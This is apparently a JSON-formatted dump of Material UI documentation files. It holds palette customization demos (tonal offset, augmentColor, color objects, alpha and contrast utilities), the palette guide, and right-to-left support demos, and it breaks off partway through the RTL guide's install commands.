    "content": "import { createTheme, ThemeProvider, useTheme } from '@mui/material/styles';\nimport { blue } from '@mui/material/colors';\nimport Box from '@mui/material/Box';\nimport Stack from '@mui/material/Stack';\nimport Typography from '@mui/material/Typography';\n\nconst defaultTonalOffsetTheme = createTheme({\n  palette: {\n    primary: {\n      main: blue[500],\n    },\n  },\n});\n\nconst higherTonalOffsetTheme = createTheme({\n  palette: {\n    primary: {\n      main: blue[500],\n    },\n    tonalOffset: 0.5,\n  },\n});\n\nconst asymmetricTonalOffsetTheme = createTheme({\n  palette: {\n    primary: {\n      main: blue[500],\n    },\n    tonalOffset: {\n      light: 0.1,\n      dark: 0.9,\n    },\n  },\n});\n\nfunction ColorShowcase({ title, color }: { title: string; color: string }) {\n  const {\n    palette: { tonalOffset },\n  } = useTheme();\n\n  let caption;\n  if (typeof tonalOffset === 'number') {\n    caption = tonalOffset;\n  } else {\n    caption = `{ light: ${tonalOffset.light}, dark: ${tonalOffset.dark} }`;\n  }\n\n  return (\n    <Stack sx={{ gap: 1, alignItems: 'center' }}>\n      <span>\n        <b>{title}</b>\n      </span>\n      <span>{caption}</span>\n      <Stack direction=\"row\" sx={{ gap: 1 }}>\n        <Stack sx={{ alignItems: 'center' }}>\n          <Typography variant=\"body2\">light</Typography>\n          <Box sx={{ bgcolor: `${color}.light`, width: 40, height: 20 }} />\n        </Stack>\n        <Stack sx={{ alignItems: 'center' }}>\n          <Typography variant=\"body2\">main</Typography>\n          <Box sx={{ bgcolor: `${color}.main`, width: 40, height: 20 }} />\n        </Stack>\n        <Stack sx={{ alignItems: 'center' }}>\n          <Typography variant=\"body2\">dark</Typography>\n          <Box sx={{ bgcolor: `${color}.dark`, width: 40, height: 20 }} />\n        </Stack>\n      </Stack>\n    </Stack>\n  );\n}\n\nexport default function TonalOffset() {\n  return (\n    <Stack direction={{ xs: 'column', sm: 'row' }} sx={{ gap: 8 }}>\n      <ThemeProvider theme={defaultTonalOffsetTheme}>\n        <ColorShowcase title=\"Default tonal offset\" color=\"primary\" />\n      </ThemeProvider>\n      <ThemeProvider theme={higherTonalOffsetTheme}>\n        <ColorShowcase title=\"Higher tonal offset\" color=\"primary\" />\n      </ThemeProvider>\n      <ThemeProvider theme={asymmetricTonalOffsetTheme}>\n        <ColorShowcase title=\"Asymmetric tonal offset\" color=\"primary\" />\n      </ThemeProvider>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/palette/TonalOffset.tsx.preview",
    "content": "<ThemeProvider theme={defaultTonalOffsetTheme}>\n  <ColorShowcase title=\"Default tonal offset\" color=\"primary\" />\n</ThemeProvider>\n<ThemeProvider theme={higherTonalOffsetTheme}>\n  <ColorShowcase title=\"Higher tonal offset\" color=\"primary\" />\n</ThemeProvider>\n<ThemeProvider theme={asymmetricTonalOffsetTheme}>\n  <ColorShowcase title=\"Asymmetric tonal offset\" color=\"primary\" />\n</ThemeProvider>"
  },
  {
    "path": "docs/data/material/customization/palette/UsingAugmentColor.js",
    "content": "import { createTheme, ThemeProvider } from '@mui/material/styles';\nimport Button from '@mui/material/Button';\nimport Box from '@mui/material/Box';\nimport Stack from '@mui/material/Stack';\nimport Typography from '@mui/material/Typography';\n\n// Augment the palette to include a salmon color\n\n// Update the Button's color options to include a salmon option\n\nlet theme = createTheme({\n  // Theme customization goes here as usual, including tonalOffset and/or\n  // contrastThreshold as the augmentColor() function relies on these\n});\ntheme = createTheme(theme, {\n  // Custom colors created with augmentColor go here\n  palette: {\n    salmon: theme.palette.augmentColor({\n      color: {\n        main: '#FF5733',\n      },\n      name: 'salmon',\n    }),\n  },\n});\n\nexport default function UsingAugmentColor() {\n  return (\n    <ThemeProvider theme={theme}>\n      <Stack sx={{ gap: 2, alignItems: 'center' }}>\n        <Button variant=\"contained\" color=\"salmon\">\n          Salmon\n        </Button>\n        <Stack direction=\"row\" sx={{ gap: 1 }}>\n          <Stack sx={{ alignItems: 'center' }}>\n            <Typography variant=\"body2\">light</Typography>\n            <Box sx={{ bgcolor: 'salmon.light', width: 40, height: 20 }} />\n          </Stack>\n          <Stack sx={{ alignItems: 'center' }}>\n            <Typography variant=\"body2\">main</Typography>\n            <Box sx={{ bgcolor: 'salmon.main', width: 40, height: 20 }} />\n          </Stack>\n          <Stack sx={{ alignItems: 'center' }}>\n            <Typography variant=\"body2\">dark</Typography>\n            <Box sx={{ bgcolor: 'salmon.dark', width: 40, height: 20 }} />\n          </Stack>\n        </Stack>\n      </Stack>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/palette/UsingAugmentColor.tsx",
    "content": "import { createTheme, ThemeProvider } from '@mui/material/styles';\nimport Button from '@mui/material/Button';\nimport Box from '@mui/material/Box';\nimport Stack from '@mui/material/Stack';\nimport Typography from '@mui/material/Typography';\n\n// Augment the palette to include a salmon color\ndeclare module '@mui/material/styles' {\n  interface Palette {\n    salmon: Palette['primary'];\n  }\n\n  interface PaletteOptions {\n    salmon?: PaletteOptions['primary'];\n  }\n}\n\n// Update the Button's color options to include a salmon option\ndeclare module '@mui/material/Button' {\n  interface ButtonPropsColorOverrides {\n    salmon: true;\n  }\n}\n\nlet theme = createTheme({\n  // Theme customization goes here as usual, including tonalOffset and/or\n  // contrastThreshold as the augmentColor() function relies on these\n});\n\ntheme = createTheme(theme, {\n  // Custom colors created with augmentColor go here\n  palette: {\n    salmon: theme.palette.augmentColor({\n      color: {\n        main: '#FF5733',\n      },\n      name: 'salmon',\n    }),\n  },\n});\n\nexport default function UsingAugmentColor() {\n  return (\n    <ThemeProvider theme={theme}>\n      <Stack sx={{ gap: 2, alignItems: 'center' }}>\n        <Button variant=\"contained\" color=\"salmon\">\n          Salmon\n        </Button>\n        <Stack direction=\"row\" sx={{ gap: 1 }}>\n          <Stack sx={{ alignItems: 'center' }}>\n            <Typography variant=\"body2\">light</Typography>\n            <Box sx={{ bgcolor: 'salmon.light', width: 40, height: 20 }} />\n          </Stack>\n          <Stack sx={{ alignItems: 'center' }}>\n            <Typography variant=\"body2\">main</Typography>\n            <Box sx={{ bgcolor: 'salmon.main', width: 40, height: 20 }} />\n          </Stack>\n          <Stack sx={{ alignItems: 'center' }}>\n            <Typography variant=\"body2\">dark</Typography>\n            <Box sx={{ bgcolor: 'salmon.dark', width: 40, height: 20 }} />\n          </Stack>\n        </Stack>\n      </Stack>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/palette/UsingColorObject.js",
    "content": "import { createTheme, ThemeProvider } from '@mui/material/styles';\nimport { lime, purple } from '@mui/material/colors';\nimport Button from '@mui/material/Button';\n\nconst theme = createTheme({\n  palette: {\n    primary: lime,\n    secondary: purple,\n  },\n});\n\nexport default function UsingColorObject() {\n  return (\n    <ThemeProvider theme={theme}>\n      <Button variant=\"contained\">Primary</Button>\n      <Button variant=\"contained\" color=\"secondary\" sx={{ ml: 2 }}>\n        Secondary\n      </Button>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/palette/UsingColorObject.tsx",
    "content": "import { createTheme, ThemeProvider } from '@mui/material/styles';\nimport { lime, purple } from '@mui/material/colors';\nimport Button from '@mui/material/Button';\n\nconst theme = createTheme({\n  palette: {\n    primary: lime,\n    secondary: purple,\n  },\n});\n\nexport default function UsingColorObject() {\n  return (\n    <ThemeProvider theme={theme}>\n      <Button variant=\"contained\">Primary</Button>\n      <Button variant=\"contained\" color=\"secondary\" sx={{ ml: 2 }}>\n        Secondary\n      </Button>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/palette/UsingColorObject.tsx.preview",
    "content": "<ThemeProvider theme={theme}>\n  <Button variant=\"contained\">Primary</Button>\n  <Button variant=\"contained\" color=\"secondary\" sx={{ ml: 2 }}>\n    Secondary\n  </Button>\n</ThemeProvider>"
  },
  {
    "path": "docs/data/material/customization/palette/UsingStylesUtils.js",
    "content": "import {\n  createTheme,\n  ThemeProvider,\n  alpha,\n  getContrastRatio,\n} from '@mui/material/styles';\nimport Button from '@mui/material/Button';\nimport Box from '@mui/material/Box';\nimport Stack from '@mui/material/Stack';\nimport Typography from '@mui/material/Typography';\n\n// Augment the palette to include a violet color\n\n// Update the Button's color options to include a violet option\n\nconst violetBase = '#7F00FF';\nconst violetMain = alpha(violetBase, 0.7);\n\nconst theme = createTheme({\n  palette: {\n    violet: {\n      main: violetMain,\n      light: alpha(violetBase, 0.5),\n      dark: alpha(violetBase, 0.9),\n      contrastText: getContrastRatio(violetMain, '#fff') > 4.5 ? '#fff' : '#111',\n    },\n  },\n});\n\nexport default function UsingStylesUtils() {\n  return (\n    <ThemeProvider theme={theme}>\n      <Stack sx={{ gap: 2, alignItems: 'center' }}>\n        <Button variant=\"contained\" color=\"violet\">\n          Violet\n        </Button>\n        <Stack direction=\"row\" sx={{ gap: 1 }}>\n          <Stack sx={{ alignItems: 'center' }}>\n            <Typography variant=\"body2\">light</Typography>\n            <Box sx={{ bgcolor: 'violet.light', width: 40, height: 20 }} />\n          </Stack>\n          <Stack sx={{ alignItems: 'center' }}>\n            <Typography variant=\"body2\">main</Typography>\n            <Box sx={{ bgcolor: 'violet.main', width: 40, height: 20 }} />\n          </Stack>\n          <Stack sx={{ alignItems: 'center' }}>\n            <Typography variant=\"body2\">dark</Typography>\n            <Box sx={{ bgcolor: 'violet.dark', width: 40, height: 20 }} />\n          </Stack>\n        </Stack>\n      </Stack>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/palette/UsingStylesUtils.tsx",
    "content": "import {\n  createTheme,\n  ThemeProvider,\n  alpha,\n  getContrastRatio,\n} from '@mui/material/styles';\nimport Button from '@mui/material/Button';\nimport Box from '@mui/material/Box';\nimport Stack from '@mui/material/Stack';\nimport Typography from '@mui/material/Typography';\n\n// Augment the palette to include a violet color\ndeclare module '@mui/material/styles' {\n  interface Palette {\n    violet: Palette['primary'];\n  }\n\n  interface PaletteOptions {\n    violet?: PaletteOptions['primary'];\n  }\n}\n\n// Update the Button's color options to include a violet option\ndeclare module '@mui/material/Button' {\n  interface ButtonPropsColorOverrides {\n    violet: true;\n  }\n}\n\nconst violetBase = '#7F00FF';\nconst violetMain = alpha(violetBase, 0.7);\n\nconst theme = createTheme({\n  palette: {\n    violet: {\n      main: violetMain,\n      light: alpha(violetBase, 0.5),\n      dark: alpha(violetBase, 0.9),\n      contrastText: getContrastRatio(violetMain, '#fff') > 4.5 ? '#fff' : '#111',\n    },\n  },\n});\n\nexport default function UsingStylesUtils() {\n  return (\n    <ThemeProvider theme={theme}>\n      <Stack sx={{ gap: 2, alignItems: 'center' }}>\n        <Button variant=\"contained\" color=\"violet\">\n          Violet\n        </Button>\n        <Stack direction=\"row\" sx={{ gap: 1 }}>\n          <Stack sx={{ alignItems: 'center' }}>\n            <Typography variant=\"body2\">light</Typography>\n            <Box sx={{ bgcolor: 'violet.light', width: 40, height: 20 }} />\n          </Stack>\n          <Stack sx={{ alignItems: 'center' }}>\n            <Typography variant=\"body2\">main</Typography>\n            <Box sx={{ bgcolor: 'violet.main', width: 40, height: 20 }} />\n          </Stack>\n          <Stack sx={{ alignItems: 'center' }}>\n            <Typography variant=\"body2\">dark</Typography>\n            <Box sx={{ bgcolor: 'violet.dark', width: 40, height: 20 }} />\n          </Stack>\n        </Stack>\n      </Stack>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/palette/palette.md",
    "content": "# Palette\n\n<p class=\"description\">The palette enables you to modify the color of the components to suit your brand.</p>\n\n## Color tokens\n\nPalette colors are represented by four tokens:\n\n- `main`: The main shade of the color\n- `light`: A lighter shade of `main`\n- `dark`: A darker shade of `main`\n- `contrastText`: Text color, intended to contrast with `main`\n\nHere's how Material UI's default theme defines the primary color tokens:\n\n```js\nconst primary = {\n  main: '#1976d2',\n  light: '#42a5f5',\n  dark: '#1565c0',\n  contrastText: '#fff',\n};\n```\n\nSee the [Color](/material-ui/customization/color/) documentation for details on the Material Design color system.\n\n## Default colors\n\nThe theme exposes the following default palette colors (accessible under `theme.palette.*`):\n\n- `primary` - for primary interface elements.\n- `secondary` - for secondary interface elements.\n- `error` - for elements that the user should be made aware of.\n- `warning` - for potentially dangerous actions or important messages.\n- `info` - for highlighting neutral information.\n- `success` - for indicating the successful completion of an action that the user triggered.\n\nSee Material Design's [Color System](https://m2.material.io/design/color/the-color-system.html) for details on color usage and guidelines.\n\n### Values\n\nYou can explore the default palette values using [the theme explorer](/material-ui/customization/default-theme/?expand-path=$.palette), or by opening the dev tools console on this page (`window.theme.palette`).\n\n{{\"demo\": \"Intentions.js\", \"bg\": \"inline\", \"hideToolbar\": true}}\n\nThe default palette uses the shades prefixed with `A` (`A200`, etc.) for the secondary palette color,\nand the un-prefixed shades for the other palette colors.\n\n### Customization\n\nYou may override the default palette values by including a palette object as part of your theme.\nIf any of the:\n\n- [`.palette.primary`](/material-ui/customization/default-theme/?expand-path=$.palette.primary)\n- [`.palette.secondary`](/material-ui/customization/default-theme/?expand-path=$.palette.secondary)\n- [`.palette.error`](/material-ui/customization/default-theme/?expand-path=$.palette.error)\n- [`.palette.warning`](/material-ui/customization/default-theme/?expand-path=$.palette.warning)\n- [`.palette.info`](/material-ui/customization/default-theme/?expand-path=$.palette.info)\n- [`.palette.success`](/material-ui/customization/default-theme/?expand-path=$.palette.success)\n\npalette color objects are provided, they will replace the default ones.\n\nThis can be achieved by either using a color object or by providing the colors directly:\n\n#### Using a color object\n\nThe most direct way to customize a palette color is to import and apply one or more [color objects](/material-ui/customization/color/#2014-material-design-color-palettes), as shown below:\n\n{{\"demo\": \"UsingColorObject.js\", \"defaultCodeOpen\": true}}\n\n#### Providing the colors directly\n\nTo modify each color directly, provide an object with one or more of the color tokens.\nOnly the `main` token is required; `light`, `dark`, and `contrastText` are optional, and if not provided, then their values are calculated automatically:\n\n```js\nimport { createTheme } from '@mui/material/styles';\n\nconst theme = createTheme({\n  palette: {\n    primary: {\n      main: '#FF5733',\n      // light: will be calculated from palette.primary.main,\n      // dark: will be calculated from palette.primary.main,\n      // contrastText: will be calculated to contrast with palette.primary.main\n    },\n    secondary: {\n      main: '#E0C2FF',\n      light: '#F5EBFF',\n      // dark: will be calculated from palette.secondary.main,\n      contrastText: '#47008F',\n    },\n  },\n});\n```\n\n{{\"demo\": \"ManuallyProvidePaletteColor.js\", \"defaultCodeOpen\": false}}\n\n### Contrast threshold\n\nThe `contrastText` token is calculated using the `contrastThreshold` value, to maximize the contrast between the background and the text.\n\nA higher contrast threshold value increases the point at which a background color is considered light, and thus given a dark `contrastText`.\nNote that the contrast threshold follows a non-linear curve, and defaults to a value of 3 which indicates a minimum contrast ratio of 3:1.\n\n{{\"demo\": \"ContrastThreshold.js\", \"defaultCodeOpen\": false}}\n\n### Tonal offset\n\nThe `light` and `dark` tokens are calculated using the `tonalOffset` value, to shift the `main` color's luminance.\nA higher tonal offset value will make `light` tokens lighter, and `dark` tokens darker.\n\n:::warning\nThis only applies when working with custom colors—it won't have any effect on the [default values](#default-colors).\n:::\n\nFor example, the tonal offset default value `0.2` shifts the luminance by approximately two indexes, so if the `main` token is `blue[500]`, then the `light` token would be `blue[300]` and `dark` would be `blue[700]`.\n\nThe tonal offset value can be either a number between 0 and 1 (which would apply to both `light` and `dark` tokens) or an object with `light` and `dark` keys specified:\n\n{{\"demo\": \"TonalOffset.js\", \"defaultCodeOpen\": false}}\n\n## Custom colors\n\n:::warning\nUnlike [default colors](#default-colors), tokens for custom colors are _not_ automatically calculated.\n:::\n\nTo add custom colors, you must either provide the tokens manually, or generate them using the `augmentColor` utility:\n\n### Provide tokens manually\n\nThe most straightforward approach is to define all tokens—`main`, `light`, `dark`, and `contrastText`—manually:\n\n```jsx\nimport { createTheme } from '@mui/material/styles';\n\nconst theme = createTheme({\n  palette: {\n    ochre: {\n      main: '#E3D026',\n      light: '#E9DB5D',\n      dark: '#A29415',\n      contrastText: '#242105',\n    },\n  },\n});\n```\n\n{{\"demo\": \"ManuallyProvideCustomColor.js\", \"defaultCodeOpen\": false}}\n\n:::info\nThe supported color formats are `hex`, `rgb`, and `hsl`.\nIf you want to use other formats, such as `oklch`, you need to enable the [native color](/material-ui/customization/css-theme-variables/native-color/) feature.\n:::\n\n<!-- #target-branch-reference -->\n\nIf you need to manipulate colors, `@mui/material/styles` provides [a set of utilities](https://github.com/mui/material-ui/blob/master/packages/mui-material/src/styles/index.d.ts#L52-L67) to help with this.\nThe following example uses the `alpha()` and `getContrastRatio()` utilities to define tokens using opacity:\n\n```jsx\nimport { createTheme, alpha, getContrastRatio } from '@mui/material/styles';\n\nconst violetBase = '#7F00FF';\nconst violetMain = alpha(violetBase, 0.7);\n\nconst theme = createTheme({\n  palette: {\n    violet: {\n      main: violetMain,\n      light: alpha(violetBase, 0.5),\n      dark: alpha(violetBase, 0.9),\n      contrastText: getContrastRatio(violetMain, '#fff') > 4.5 ? '#fff' : '#111',\n    },\n  },\n});\n```\n\n{{\"demo\": \"UsingStylesUtils.js\", \"defaultCodeOpen\": false}}\n\n### Generate tokens using augmentColor utility\n\nAlternatively, you can generate the `light`, `dark` and `contrastText` tokens using the palette's `augmentColor` utility, which is the same function used for the default palette colors.\nThis requires creating the theme in two steps and providing the `main` token on which the other will be based on:\n\n```jsx\nimport { createTheme } from '@mui/material/styles';\n\nlet theme = createTheme({\n  // Theme customization goes here as usual, including tonalOffset and/or\n  // contrastThreshold as the augmentColor() function relies on these\n});\n\ntheme = createTheme(theme, {\n  // Custom colors created with augmentColor go here\n  palette: {\n    salmon: theme.palette.augmentColor({\n      color: {\n        main: '#FF5733',\n      },\n      name: 'salmon',\n    }),\n  },\n});\n```\n\n{{\"demo\": \"UsingAugmentColor.js\", \"defaultCodeOpen\": false}}\n\nThe [contrast threshold](#contrast-threshold) and [tonal offset](#tonal-offset) values will apply for the colors defined using this utility.\n\n### Using in components\n\nAfter adding a custom color, you will be able to use it in components just like you do with default palette colors:\n\n```js\n<Button color=\"custom\">\n```\n\n### TypeScript\n\nIf you're using TypeScript, then you need to use [module augmentation](/material-ui/guides/typescript/#customization-of-theme) for custom colors.\n\nTo add a custom color to the palette, you must add it to the `Palette` and `PaletteOptions` interfaces:\n\n<!-- tested with packages/mui-material/test/typescript/augmentation/paletteColors.spec.ts -->\n\n```ts\ndeclare module '@mui/material/styles' {\n  interface Palette {\n    custom: Palette['primary'];\n  }\n\n  interface PaletteOptions {\n    custom?: PaletteOptions['primary'];\n  }\n}\n```\n\nTo use a custom color for the `color` prop of a component, you must add it to the component's `PropsColorOverrides` interface.\nThe example below shows how to do this with a Button component:\n\n<!-- tested with packages/mui-material/test/typescript/augmentation/paletteColors.spec.ts -->\n\n```ts\ndeclare module '@mui/material/Button' {\n  interface ButtonPropsColorOverrides {\n    custom: true;\n  }\n}\n```\n\n## Adding color tokens\n\nTo add a new [color token](#color-tokens), include it in the color's object as follows:\n\n```jsx\nimport { createTheme } from '@mui/material/styles';\nimport { blue } from '@mui/material/colors';\n\nconst theme = createTheme({\n  palette: {\n    primary: {\n      light: blue[300],\n      main: blue[500],\n      dark: blue[700],\n      darker: blue[900],\n    },\n  },\n});\n```\n\n{{\"demo\": \"AddingColorTokens.js\", \"defaultCodeOpen\": false}}\n\n### TypeScript\n\nIf you're using TypeScript, then you'll need to use [module augmentation](/material-ui/guides/typescript/#customization-of-theme) to add the new color token to the `PaletteColor` and `SimplePaletteColorOptions` interfaces as follows:\n\n<!-- tested with packages/mui-material/test/typescript/augmentation/paletteColors.spec.ts -->\n\n```ts\ndeclare module '@mui/material/styles' {\n  interface PaletteColor {\n    darker?: string;\n  }\n\n  interface SimplePaletteColorOptions {\n    darker?: string;\n  }\n}\n```\n\n## Non-palette colors\n\nTo learn how to add colors outside of `theme.palette`, see [Theming—Custom variables](/material-ui/customization/theming/#custom-variables).\n\n## Accessibility\n\nTo meet the minimum contrast of at least 4.5:1 as defined in [WCAG 2.1 Rule 1.4.3](https://www.w3.org/WAI/WCAG21/Understanding/contrast-minimum.html), create a custom theme with a [contrast threshold](#contrast-threshold) value of 4.5 as follows:\n\n```js\nimport { createTheme } from '@mui/material/styles';\n\nconst theme = createTheme({\n  palette: {\n    contrastThreshold: 4.5,\n  },\n});\n```\n\n:::warning\nThe `contrastThreshold` parameter can produce counterproductive results.\\\nPlease verify that the [APCA](https://contrast.tools/?tab=apca) color contrast is improved (WCAG 3 [will use](https://typefully.com/DanHollick/wcag-3-and-apca-sle13GMW2Brp) this new algorithm).\n:::\n\n## Picking colors\n\nNeed inspiration? The Material Design team has built an [palette configuration tool](/material-ui/customization/color/#picking-colors) to help you.\n\n## Color schemes\n\nTo add both built-in light and dark color schemes without creating separate themes, use the `colorSchemes: { light: true, dark: true }`.\nThis generates the default tokens for both color schemes:\n\n```js\nimport { createTheme } from '@mui/material/styles';\n\nconst theme = createTheme({\n  colorSchemes: {\n    light: true,\n    dark: true,\n  },\n});\n```\n\nTo override the default tokens for each color scheme, use the same [palette object](#customization) as shown below:\n\n```js\nconst theme = createTheme({\n  colorSchemes: {\n    light: {\n      palette: {\n        primary: {\n          main: '#FF5733',\n        },\n        // ...other tokens\n      },\n    },\n    dark: {\n      palette: {\n        primary: {\n          main: '#E0C2FF',\n        },\n        // ...other tokens\n      },\n    },\n  },\n});\n```\n\n:::warning\nThe `colorSchemes` API is an enhanced version of the `palette` API, and is the preferred API for this purpose starting from Material UI v6.\nIf you provide both `colorSchemes` and `palette`, the latter will override any styles defined in the former.\n\n```js\nconst theme = createTheme({\n  palette: {\n    primary: {\n      main: '...',\n    },\n  },\n  colorSchemes: {\n    light: {\n      // This will be replaced by the palette defined above\n      palette: {\n        primary: {\n          main: '...',\n        },\n      },\n    },\n    dark: { ... },\n  },\n});\n```\n\n:::\n\n## Dark mode\n\nFor details of how you can set up a dark mode for your theme, head to the [dark mode guide](/material-ui/customization/dark-mode/).\n"
  },
  {
    "path": "docs/data/material/customization/right-to-left/RtlDemo.js",
    "content": "import { createTheme, ThemeProvider } from '@mui/material/styles';\nimport TextField from '@mui/material/TextField';\nimport rtlPlugin from '@mui/stylis-plugin-rtl';\nimport { prefixer } from 'stylis';\nimport { CacheProvider } from '@emotion/react';\nimport createCache from '@emotion/cache';\n\n// Consuming the outer theme is only required with coexisting themes, like in this documentation.\n// If your app/website doesn't deal with this, you can have just:\n// const theme = createTheme({ direction: 'rtl' })\nconst theme = (outerTheme) =>\n  createTheme({\n    direction: 'rtl',\n    palette: {\n      mode: outerTheme.palette.mode,\n    },\n  });\n\nconst cacheRtl = createCache({\n  key: 'muirtl',\n  stylisPlugins: [prefixer, rtlPlugin],\n});\n\nexport default function RtlDemo() {\n  return (\n    <CacheProvider value={cacheRtl}>\n      <ThemeProvider theme={theme}>\n        <div dir=\"rtl\">\n          <TextField\n            label=\"ملصق\"\n            placeholder=\"العنصر النائب\"\n            helperText=\"هذا نص مساعد\"\n            variant=\"outlined\"\n          />\n        </div>\n      </ThemeProvider>\n    </CacheProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/right-to-left/RtlDemo.tsx",
    "content": "import { createTheme, ThemeProvider, Theme } from '@mui/material/styles';\nimport TextField from '@mui/material/TextField';\nimport rtlPlugin from '@mui/stylis-plugin-rtl';\nimport { prefixer } from 'stylis';\nimport { CacheProvider } from '@emotion/react';\nimport createCache from '@emotion/cache';\n\n// Consuming the outer theme is only required with coexisting themes, like in this documentation.\n// If your app/website doesn't deal with this, you can have just:\n// const theme = createTheme({ direction: 'rtl' })\nconst theme = (outerTheme: Theme) =>\n  createTheme({\n    direction: 'rtl',\n    palette: {\n      mode: outerTheme.palette.mode,\n    },\n  });\n\nconst cacheRtl = createCache({\n  key: 'muirtl',\n  stylisPlugins: [prefixer, rtlPlugin],\n});\n\nexport default function RtlDemo() {\n  return (\n    <CacheProvider value={cacheRtl}>\n      <ThemeProvider theme={theme}>\n        <div dir=\"rtl\">\n          <TextField\n            label=\"ملصق\"\n            placeholder=\"العنصر النائب\"\n            helperText=\"هذا نص مساعد\"\n            variant=\"outlined\"\n          />\n        </div>\n      </ThemeProvider>\n    </CacheProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/right-to-left/RtlDemo.tsx.preview",
    "content": "<CacheProvider value={cacheRtl}>\n  <ThemeProvider theme={theme}>\n    <div dir=\"rtl\">\n      <TextField\n        label=\"ملصق\"\n        placeholder=\"العنصر النائب\"\n        helperText=\"هذا نص مساعد\"\n        variant=\"outlined\"\n      />\n    </div>\n  </ThemeProvider>\n</CacheProvider>"
  },
  {
    "path": "docs/data/material/customization/right-to-left/RtlOptOut.js",
    "content": "import * as React from 'react';\nimport { prefixer } from 'stylis';\nimport rtlPlugin from '@mui/stylis-plugin-rtl';\nimport { CacheProvider } from '@emotion/react';\nimport createCache from '@emotion/cache';\nimport { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport Switch from '@mui/material/Switch';\n\nconst Normal = styled('div')`\n  text-align: left;\n`;\n\nconst Noflip = styled('div')`\n  /* @noflip */\n  text-align: left;\n`;\n\nconst rtlCache = createCache({\n  key: 'muirtl',\n  stylisPlugins: [prefixer, rtlPlugin],\n});\n\nconst ltrCache = createCache({\n  key: 'mui',\n});\n\nexport default function RtlOptOut() {\n  const [rtl, setRtl] = React.useState(false);\n\n  const handleChange = () => {\n    setRtl(!rtl);\n  };\n\n  return (\n    <Box sx={{ width: '100%', display: 'flex' }}>\n      <FormControlLabel\n        control={<Switch onChange={handleChange} />}\n        label=\"Toggle RTL\"\n      />\n      <CacheProvider value={rtl ? rtlCache : ltrCache}>\n        <Box sx={{ flexGrow: 1, mx: 2 }} dir={rtl ? 'rtl' : ''}>\n          <Normal>RTL normal behavior</Normal>\n          <Noflip>RTL noflip</Noflip>\n        </Box>\n      </CacheProvider>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/right-to-left/RtlOptOut.tsx",
    "content": "import * as React from 'react';\nimport { prefixer } from 'stylis';\nimport rtlPlugin from '@mui/stylis-plugin-rtl';\nimport { CacheProvider } from '@emotion/react';\nimport createCache from '@emotion/cache';\nimport { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport Switch from '@mui/material/Switch';\n\nconst Normal = styled('div')`\n  text-align: left;\n`;\n\nconst Noflip = styled('div')`\n  /* @noflip */\n  text-align: left;\n`;\n\nconst rtlCache = createCache({\n  key: 'muirtl',\n  stylisPlugins: [prefixer, rtlPlugin],\n});\n\nconst ltrCache = createCache({\n  key: 'mui',\n});\n\nexport default function RtlOptOut() {\n  const [rtl, setRtl] = React.useState(false);\n\n  const handleChange = () => {\n    setRtl(!rtl);\n  };\n\n  return (\n    <Box sx={{ width: '100%', display: 'flex' }}>\n      <FormControlLabel\n        control={<Switch onChange={handleChange} />}\n        label=\"Toggle RTL\"\n      />\n      <CacheProvider value={rtl ? rtlCache : ltrCache}>\n        <Box sx={{ flexGrow: 1, mx: 2 }} dir={rtl ? 'rtl' : ''}>\n          <Normal>RTL normal behavior</Normal>\n          <Noflip>RTL noflip</Noflip>\n        </Box>\n      </CacheProvider>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/right-to-left/RtlOptOut.tsx.preview",
    "content": "<FormControlLabel\n  control={<Switch onChange={handleChange} />}\n  label=\"Toggle RTL\"\n/>\n<CacheProvider value={rtl ? rtlCache : ltrCache}>\n  <Box sx={{ flexGrow: 1, mx: 2 }} dir={rtl ? 'rtl' : ''}>\n    <Normal>RTL normal behavior</Normal>\n    <Noflip>RTL noflip</Noflip>\n  </Box>\n</CacheProvider>"
  },
  {
    "path": "docs/data/material/customization/right-to-left/right-to-left.md",
    "content": "# Right-to-left support\n\n<p class=\"description\">Learn how to implement right-to-left (RTL) text with Material UI to support languages such as Arabic, Persian, and Hebrew.</p>\n\n## Setup\n\nThis guide outlines the three steps necessary to change the direction of text-based components in Material UI to support RTL languages, as shown in the demo below:\n\n{{\"demo\": \"RtlDemo.js\"}}\n\n### 1. Set the HTML direction\n\nYou can set the text direction either globally (across the entire app) or locally (specific to individual components), depending on your use case.\n\n#### Globally\n\nAdd `dir=\"rtl\"` to the app's root `<html>` to set the global text direction:\n\n```html\n<html dir=\"rtl\"></html>\n```\n\nIf you can't set the `dir` attribute directly on the root `<html>` element, as a workaround, use the JavaScript API before the page is rendered:\n\n```js\ndocument.documentElement.setAttribute('dir', 'rtl');\n```\n\n#### Locally\n\nAdd the `dir=\"rtl\"` attribute to any other HTML element or React component if you need to limit the scope of the text direction to that element and its children.\n\n:::warning\nComponents that use React portals (like the [Dialog](/material-ui/react-dialog/)) do _not_ inherit the `dir` attribute from parents, because they actually render outside of their parental DOM trees.\n\nYou must apply the `dir` attribute directly to these components if it's not globally defined as right-to-left:\n\n```jsx\n<Box dir=\"rtl\">\n  <Dialog /> // ❌ this Dialog will still be left-to-right (the default)\n</Box>\n<Box dir=\"rtl\">\n  <Dialog dir=\"rtl\" /> // ✅ this Dialog will be right-to-left as intended\n</Box>\n```\n\n:::\n\n### 2. Set the theme direction\n\nUse the `createTheme()` API to set the theme direction to `'rtl'`:\n\n```js\nimport { createTheme } from '@mui/material/styles';\n\nconst theme = createTheme({\n  direction: 'rtl',\n});\n```\n\n### 3. Configure RTL style plugin\n\nInstall the `@mui/stylis-plugin-rtl` using one of the commands below:\n\n<codeblock storageKey=\"package-manager\">\n\n```bash npm\nnpm install stylis @mui/stylis-plugin-rtl\n```\n\n```bash pnpm\npnpm add stylis @mui/stylis-plugin-rtl\n```\n\n```bash yarn\nyarn add stylis 